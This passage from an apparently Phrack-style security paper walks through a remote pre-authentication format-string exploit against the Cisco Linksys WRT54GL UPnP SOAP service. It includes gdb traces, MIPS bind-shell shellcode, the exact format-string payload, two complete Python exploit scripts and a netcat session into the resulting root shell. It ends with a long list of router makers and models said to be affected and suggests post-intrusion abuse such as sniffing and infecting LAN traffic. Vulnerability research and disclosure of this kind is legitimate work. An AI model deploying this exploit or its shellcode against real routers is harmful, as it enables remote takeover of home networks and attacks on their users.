<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKK
LLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
---
- write_one is 0x7fff7ab6
- write_two is 0x7fff7ab4
Before any further steps, we will set breakpoint on the previously mentioned 'sh'
half-write instruction (address 0x2ac1068c), so we can track what is written and
where.
(gdb) x/i $pc-4
0x2ac1068c: sh a2,0(a0)
(gdb) break *0x2ac1068c
Breakpoint 1 at 0x2ac1068c
(gdb) c
Continuing.
After that, we will run PoC exploit again. Pay attention to the 'a0' register.
(gdb) c
Continuing.
Breakpoint 1, 0x2ac1068c in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 00000231 7fff7ab6 00000200 00000231 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
fsr fir
00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c: sh a2,0(a0)
(gdb) c
Continuing.
Breakpoint 1, 0x2ac1068c in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 00000245 7fff7ab4 00000200 00000245 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 100096a7 100096a6 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
fsr fir
00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c: sh a2,0(a0)
(gdb)
So, there are two rounds of writing, first to the 0x7FFF7AB6 and second to the 0x7FFF7AB4.
The next step is to find complete SOAP SetConnectionType request in the memory, because that is
the place where our shellcode will be included, and later we will redirect code execution to
that address.
MIPS shellcode itself will not be discussed in this article, because it is a whole different
subject. In this case, we will use MIPS /bin/sh portbind shellcode that will bind shell
to the TCP port 5555.
MIPS portbind (TCP 5555) shellcode is presented below.
mipsshellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" +
"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" +
"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" +
"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" +
"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" +
"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" +
"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" +
"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" +
"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" +
"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" +
"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" +
"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" +
"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" +
"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" +
"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" +
"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" +
"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" +
"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" +
"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" +
"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68"
Our next step is to modify SetConnectionType XML request and add shellcode to it,
as presented below.
---
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as ="'''
+ mipsshellcode +
'''">
<NewConnectionType>%s</NewConnectionType>
</m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
---
Now, let's find where our SOAP request and shellcode is located in the memory.
The easiest way to find it without much effort is to inspect current registers, and
memory space around their values upon program crash.
Within few minutes, we have located our shellcode
(gdb) x/100c 0x1000f1bf
0x1000f1bf: 58 ':' 115 's' 101 'e' 114 'r' 118 'v' 105 'i' 99 'c' 101 'e'
0x1000f1c7: 58 ':' 87 'W' 65 'A' 78 'N' 73 'I' 80 'P' 67 'C' 111 'o'
0x1000f1cf: 110 'n' 110 'n' 101 'e' 99 'c' 116 't' 105 'i' 111 'o' 110 'n'
0x1000f1d7: 58 ':' 49 '1' 34 '"' 32 ' ' 97 'a' 115 's' 61 '=' 32 ' '
0x1000f1df: 34 '"'
...
(gdb) x/50x 0x1000f1e0 <- SHELLCODE!!!!!!!
0x1000f1e0: 0xe0 0xff 0xbd 0x27 0xfd 0xff 0x0e 0x24
0x1000f1e8: 0x27 0x20 0xc0 0x01 0x27 0x28 0xc0 0x01
0x1000f1f0: 0xff 0xff 0x06 0x28 0x57 0x10 0x02 0x24
0x1000f1f8: 0x0c 0x01 0x01 0x01 0x50 0x73 0x0f 0x24
0x1000f200: 0xff 0xff 0x50 0x30 0xef 0xff 0x0e 0x24
0x1000f208: 0x27 0x70 0xc0 0x01 0x15 0xb3 0x0d 0x24
0x1000f210: 0x04 0x68
...
That's it. Now we have all important data for the exploit construction.
Memory address that will be overwritten - 0x7FFF7AB4
Memory address of the shellcode - 0x1000F1E0.
All that's left now is to construct appropriate format string write, and that's it.
We're ready to go.
===[ 8. Gaining control over the router
All that's left now is to write right values to the return address memory location
(0x7FFF7AB4), and that's it. Location of our shellcode is 0x1000F1E0, so we will
construct our format string for two writes - 0x1000 to the 0x7fff7ab6 and 0xF1E0
to the 0x7fff7ab4.
Details are presented below.
Two half-writes are used:
- write_one is 0x7fff7ab6 <- 0x1000
- write_two is 0x7fff7ab4 <- 0xF1E0
In other words, this:
sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn"
So, exploit process step by step is this:
---
1. Send "Prestage" GetConnectionType request with addresses for two
half-writes (0x7fff7ab6 and 0x7fff7ab4)
2. Prepare SetConnectionType request with shellcode included
3. Trigger the format string vulnerability that will overwrite return
address at the 0x7fff7ab4 with 0x1000F1E0, because there is our
portbind shellcode
4. Connect to the router port 5555 port to obtain shell access
---
Now we will try our new Cisco Linksys WRT54GL exploit on the router along with the
gdb output step by step.
---
E:\Phrack>python cisco_linksys_full_exploit.py
> Cisco Linksys WRT54GL Remote Preauth Full Exploit
> Leon Juranic <[email protected]>
> Doing prestage...
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: IP_Routed
> Sending exploit payload...
Debugger details are presented below.
(gdb) target remote 192.168.1.1:5000
Remote debugging using 192.168.1.1:5000
0x2ac216f4 in ?? ()
(gdb) c
Continuing.
warning: GDB can't find the start of the function at 0x2ac216f4.
Breakpoint 1, 0x2ac1068c in ?? () <=============== FIRST WRITE (a2 -> a0)
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 00001000 7fff7ab6 00000200 00001000 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000037 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 1000f3ca 1000f3c9 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
fsr fir
00000000 00000000
(gdb) c
Continuing.
Breakpoint 1, 0x2ac1068c in ?? () <============== SECOND WRITE (a2 -> a0)
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 0000f1e0 7fff7ab4 00000200 0000f1e0 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 1000f3dd 1000f3dc 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
fsr fir
00000000 00000000
(gdb) c
Continuing.
Let's analyze PC register now.
^C
Program received signal SIGINT, Interrupt.
0x1000f274 in ?? ()
(gdb) ir
Undefined command: "ir". Try "help".
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000200 00000200 10006867 00000009 00000000 00000000 00000001
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000009 00000000 7fff7b60 00000001 100004e8 10007f00 1000dfe0 10007f00
t8 t9 k0 k1 gp sp s8 ra
R24 00000057 2ac0a92c 00000000 00000000 10009190 7fff7a98 1000dfe0 1000f1e0
sr lo hi bad cause pc
00000000 00000000 00000000 8005a7b8 00000020 1000f274 <=== BOOOOM!!!!
fsr fir
00000000 00000000
(gdb)
That's it. We have full control over the PC register, and our shellcode is
executed. Let's connect to our deserved root shell on our Cisco Linksys WRT54GL
router.
[root@defensecode linksys]# nc 192.168.1.1 5555
ls
proc
mnt
dev
var
tmp
lib
bin
www
sbin
etc
usr
cat /proc/cpuinfo
system type : Broadcom BCM947XX
processor : 0
cpu model : BCM3302 V0.8
BogoMIPS : 199.47
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
unaligned_instructions : 5
dcache hits : 821316329
dcache misses : 3717232290
icache hits : 3192629433
icache misses : 2838526887
instructions : 0
ls -al /tmp
drwxr-xr-x 1 0 0 0 Jan 1 2000 var
lrwxrwxrwx 1 0 0 8 Jan 1 00:00 ldhclnt -> /sbin/rc
drwx------ 1 0 0 0 Jan 1 00:00 cron.d
-rw-r--r-- 1 0 0 8 Jan 1 00:00 action
-rw-r--r-- 1 0 0 40 Jan 1 00:00 nas.lan.conf
-rw-r--r-- 1 0 0 27 Jan 1 00:00 ses.log
lrwxrwxrwx 1 0 0 8 Jan 1 00:00 udhcpc -> /sbin/rc
-rw-r--r-- 1 0 0 1 Jan 1 00:00 udhcpc.expires
-rw-r--r-- 1 0 0 33 Jan 1 00:00 nas.wan.conf
-rwxr-xr-x 1 0 0 133528 Jan 1 00:00 gdbserver
drwxr-xr-x 1 0 0 72 Jun 20 2006 ..
drwxr-xr-x 1 0 0 0 Jan 1 2000 .
ifconfig: not found
/sbin/ifconfig
br0 Link encap:Ethernet
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:776 errors:0 dropped:0 overruns:0 frame:0
TX packets:488 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:209889 (204.9 kb) TX bytes:49555 (48.3 kb)
eth0 Link encap:Ethernet
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:777 errors:0 dropped:0 overruns:0 frame:0
TX packets:535 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:227029 (221.7 kb) TX bytes:79425 (77.5 kb)
Interrupt:4 Base address:0x1000
eth1 Link encap:Ethernet
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:10406
TX packets:427 errors:7 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:73525 (71.8 kb)
Interrupt:2 Base address:0x5000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
vlan0 Link encap:Ethernet
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:777 errors:0 dropped:0 overruns:0 frame:0
TX packets:488 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:213043 (208.0 kb) TX bytes:51507 (50.2 kb)
vlan1 Link encap:Ethernet
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:47 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:27918 (27.2 kb)
That's it. We have obtained root shell on Cisco Linksys WRT54GL router.
===[ 9. Post-intrusion fun
Now you can do anything that you want on the router. Install some sniffer,
attack other computers in local network, infect binaries transmitted over the
network, or play ncurses version of space invaders.
Like for example - basic ncurses space-invaders like game that I coded just for
fun 10 years ago. Cross-compile the game, upload to the hacked router and you can play
space-invaders on someone's router. :)
===[ 10. Greetz & Shouts
Thanks to Vedran Kajic, Davor Serfez and K0st for various things about this paper.
Also, thanks to HD Moore for vulnerable router manufacturers data.
Thanks to Ana Hanzek for lectoring. :)
===[ 11. About DefenseCode
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security vulnerabilities.
DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox Testing) solution for performing extensive security audits of
application sourcecode.
ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive
rate.
DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox Testing) solution for comprehensive security audits of active
web applications.
WebScanner will test a website's security by carrying out a large number
of attacks using the most advanced techniques, just as a real attacker
would.
Subscribe for free software trial on our website
http://www.defensecode.com/
E-mail: defensecode[at]defensecode.com
Website: http://www.defensecode.com/
Twitter: https://twitter.com/DefenseCode/
===[ Cisco Linksys WRT54GL Exploit
cisco_linksys_full_exploit.py
========
#
#
# Cisco Linksys WRT54GL Remote Preauth 0day Exploit
# - Leon Juranic / DefenseCode <[email protected]>
#
#
import socket
import sys
import re
HOST = '192.168.1.1' # The remote host
PORT = 5431 # SOAP
write_one = ("\xB6\x7A\xFF\x7F");
write_two = ("\xB4\x7A\xFF\x7F");
mipsshellcode = ("\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0"
"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73"
"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15"
"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01"
"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0"
"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30"
"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50"
"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24"
"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05"
"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73"
"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27"
"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24"
"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01"
"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f"
"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff"
"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24"
"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0"
"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68"
"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c"
"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68")
GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo"
Host: %s:5431'
Content-Type: text/xml
Content-Length: %d'''
SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType"
Host: %s:5431
Content-Type: text/xml
Content-Length: %d'''
GETSOAPPRESTAGE = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA
<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as= "%s">
<NewConnectionType>%s</NewConnectionType>
</m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
def Prestage_GetConnectionTypeInfo():
HTTPREQ = GETHTTPSTR % (HOST, GETSOAPPRESTAGE.__len__())
HTTPSEND = HTTPREQ + "\n\n" + GETSOAPPRESTAGE + "\n"
#print HTTPSEND
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except:
print "Cannot connect to the target port..."
exit(-1)
s.sendall(HTTPSEND)
data = s.recv(10000)
data = s.recv(10000)
print '> Received', repr(data)
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
if rematch:
print "> FMT: " + rematch.group(1)
def SetConnectionType(FMTSTRING):
SENDSOAP = SETSOAPREQ % (mipsshellcode,FMTSTRING)
HTTPREQ = SETHTTPSTR % (HOST, SENDSOAP.__len__())
HTTPSEND = HTTPREQ + "\n\n" + SENDSOAP + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except:
print "> Cannot connect to the target port..."
exit(-1)
#print HTTPSEND
s.sendall(HTTPSEND)
data = s.recv(10000)
data = s.recv(10000)
print '> Recv: ', repr(data) + "\n"
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
if rematch:
print "> FMT RESPONSE: " + rematch.group(1)
print "> Cisco Linksys WRT54GL Remote Preauth Full Exploit"
print "> Leon Juranic <[email protected]>\n"
# This will do the trick...
print "> Doing prestage..."
Prestage_GetConnectionTypeInfo()
#0x1000F1E0.
sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn"
print "> Sending exploit payload..."
SetConnectionType(sendfmt)
print "> Done."
========
cisco_linksys_poc.py
========
#
#
# Cisco Linksys WRT54GL Remote Preauth 0day Exploit
# - Leon Juranic / DefenseCode <[email protected]>
#
#
import socket
import sys
import re
HOST = '192.168.1.1' # The remote host
PORT = 5431 # SOAP
GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo"
Host: %s:5431'
Content-Type: text/xml
Content-Length: %d'''
SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType"
Host: %s:5431
Content-Type: text/xml
Content-Length: %d'''
GETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"></m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as="">
<NewConnectionType>%s</NewConnectionType>
</m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
def GetConnectionTypeInfo():
HTTPREQ = GETHTTPSTR % (HOST, GETSOAPREQ.__len__())
HTTPSEND = HTTPREQ + "\n\n" + GETSOAPREQ + "\n"
#print HTTPSEND
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except:
print "Cannot connect to the target port..."
exit(-1)
s.sendall(HTTPSEND)
data = s.recv(10000)
data = s.recv(10000)
print '> Received', repr(data)
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
if rematch:
print "> FMT: " + rematch.group(1)
def SetConnectionType(FMTSTRING):
HTTPREQ = SETHTTPSTR % (HOST, SETSOAPREQ.__len__())
SENDSOAP = SETSOAPREQ % (FMTSTRING)
HTTPSEND = HTTPREQ + "\n\n" + SENDSOAP + "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
except:
print "> Cannot connect to the target port..."
exit(-1)
s.sendall(HTTPSEND)
data = s.recv(10000)
data = s.recv(10000)
print '> Recv: ', repr(data) + "\n"
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
if rematch:
print "> FMT RESPONSE: " + rematch.group(1)
print "> Cisco Linksys WRT54GL Remote Preauth 0day PoC"
print "> Leon Juranic <[email protected]>\n"
if len(sys.argv) < 2:
sys.stderr.write("> Usage: %s <FMTSTRING>" % (sys.argv[0],))
sys.exit(-1)
# This will do the trick...
SetConnectionType(sys.argv[1])
GetConnectionTypeInfo()
========
===[ Vulnerable Manufacturers And Router Models
It is important to note that this list is not full, and it's not detailed,
but it's a nice overview for a curious reader.
3Com
- ADSL Wireless Router
- Broadcom ADSL Router
- Internet Gateway Device
Actiontec
- GT784WN
- xDSL Router
- Broadcom ADSL Router
- DSL Modem implementing Qwest TR-064 v1.0 specification
- DSL Modem implementing TR-064 v1.0 specification
Actiontec Electronics
- Actiontec xDSL Router
- Verizon ADSL Router
ADBB
- DSL Router
ADB Broadband
- ADB ADSL Router
- Broadcom ADSL Router
ADB Broadband S.p.A.
- ADB ADSL Router
ADB Broadband S.p.A
- HomeStation ADSL Router
ADSL2+ Router
- ADSL2/2+ Modem Router
- ADSLRouter
ALBIS
- Router VLR-4300-I
Allied Telesis K.K.
- CG-BARFX3
Alpha
- ADSL Router
- DLink ADSL Router
- Sky ADSL Router
Alvarion
- Residential Gateway
ASB
- ADSL Router
- Alcatel-EG692HW Internet Sharing Gateway
- ChinaTelecom E8C(EPON) Gateway
- Home Gateway
Askey
- ADSL2+ Router
- ADSL Router
Askey Computer Corp.
- Wireless ADSL2+ Router
ASUS
- Wireless Router
ASUSTek
- ASUS ADSL Router
- ASUS Wireless Harddisk Drive
- ASUS Wireless Router
ASUSTek Computer Inc.
- ASUS Wireless Router
- Residential Gateway Device
- WL-500gPV2
- WL-500gP V2
- WL-520GU
- WL700gE
BEC_8800N
- BEC 8800N
BEC Technologies Inc.
- BEC 7800TN R2
- Broadcom ADSL Router
Belkin
- ADSL Router
- F5D8232-4 v1000
- N1 ADSL Router
- Wireless ADSL Router
- BoB
- iiNet BoB
- Wireless ADSL Router
Bellmann
- Broadcom ADSL Router
Billion
- BiPAC 7700N
- BiPAC 7700N R2
Billion Electric Co., Ltd.
- ADSL2+ Firewall Router
- BiPAC 7800VDOX
- BiPAC 7800VDPX
- home.gateway
Billion Electric Co.,Ltd.
- home.gateway
Billion Electric Co, PC Range Pty Ltd.
- home.gateway
BM
- ChinaTelecom E8C(EPON) Gateway
Broadcom
- 3G Router
- Actiontec GT784WN
- Actiontec xDSL Router
- ADSL2+ 11n WiFi CPE
- ADSL2/2+ Modem Router
- ADSL Router
- ADSL Router
- ChinaTelecom E8 ADSL Router
- D-link ADSL Router
- D-Link ADSL Router
- DLink ADSL Router
- D-Link DSL-2640B
- D-Link DSL-2641B
- D-Link DSL-500B
- DSL2740B ADSL Router
- DSL Router
- HomeStation ADSL Router
- PHILEAS-WORLD
- PTCL ADSL Router
- Residential Gateway Device
- SemIndia Systems ADSL2Plus Router
- STOREX
- WL700g
- Zoom ADSL Router
BT
- Voyager 2091
- Voyager 220V
- Voyager 2091
- Voyager 2110
- Voyager 220V
- Voyager 2500V
Careca
- HRDSL108W 108M Wireless ADSL2+ router
CATCH-TEC
- ADSL2/2+ Modem Router
CDC POINT S.P.A
- ADSL2/2+ Modem Router
ChinaTelecom
- ASB Home Gateway
China Telecom
- ChinaNet EPON Router
- E8C(EPON) Gateway
- E8C Gateway
- Navigator 1-2 Gateway
Cisco Systems,Inc.
- Cisco ADSL Router
ClearAccess
- Broadcom ADSL Router
- D-Link DSL-2730B
Comtrend
- AR-5383n
- Broadcom ADSL Router
- single-chip ADSL router
- WAP-5850g
- Netcomm ADSL2+/3G Wi-Fi Router
Corega
- CG-BARMX2
- CG-WLBARAGM
Danalink
- Dynalink ADSL Router
- Dynalink Wireless ADSL2+ Router
DARE
- DareGlobal Home Gateway
Dare
- Router
Dare Inc.
- Dare ADSL2+ Modem/Wireless Router
DCOM
- ADSL Router
DGT
- VDSL Router
Digicom
- ADSL Router
Digital Data Communications, Inc
- FBR-1461A ADSL2+ Modem Router(X.X.X.X)
- FBR-1461 ADSL2+ Modem Router (X.X.X.X)
DIGITUS
- Internet Gateway Device
DIT
- Gateway
D-Link
- ADSL MODEM
D-link
- ADSL Router
D-LINK
- ADSL Router
DLink
- Alpha ADSL Router
D-Link Corporation.
- D-Link D-LinkDSL-2640B
- D-Link DSL-2640B
- D-LinkDSL-2640B
- D-LinkDSL-2641B
- D-Link DSL-2740B
- D-LinkDSL-2740B
- D-Link DSL-2740U
- D-Link DSL-2741B
- D-LinkDSL-2741B
- D-Link DSL-2750B
- D-LinkDSL-2750B
D-Link Corporation
- D-Link DSL6740U
- DSL-2640B
- DSL2740B
- DSL-2740B
- DSL-2740B Adsl Router
- DSL-2740B Adsl Router
- DSL-2740U Adsl Router
- DSL-2741B
- DSL-2741B Adsl Router
- DSL2750B
- DVA-G3670B Adsl Router
Dlink
- ADSL router
- ADSL Router
- D-Link ADSL Router
- ADSL Router
- DLink ADSL Router
- ADSL Router
- DSL-2500U
- DSL-2542B
- DSL-2640B
- DSL-2640U
- DSL-2730B
- D-Link DSL-2730B
- DSL2730U
- DSL-2730U
- DSL-2740EL
- DSL2750U
- DSL-2750U
- D-Link DSL-526B
- DSL-526B
- Router
- D-Link VDSL Router
- Wireless Router
- DSL-2542B
- DSL-2640B
- DSL-2640BT
- DSL-2640U
- DSL-2740B
- DSL-526B
- DSL-526B
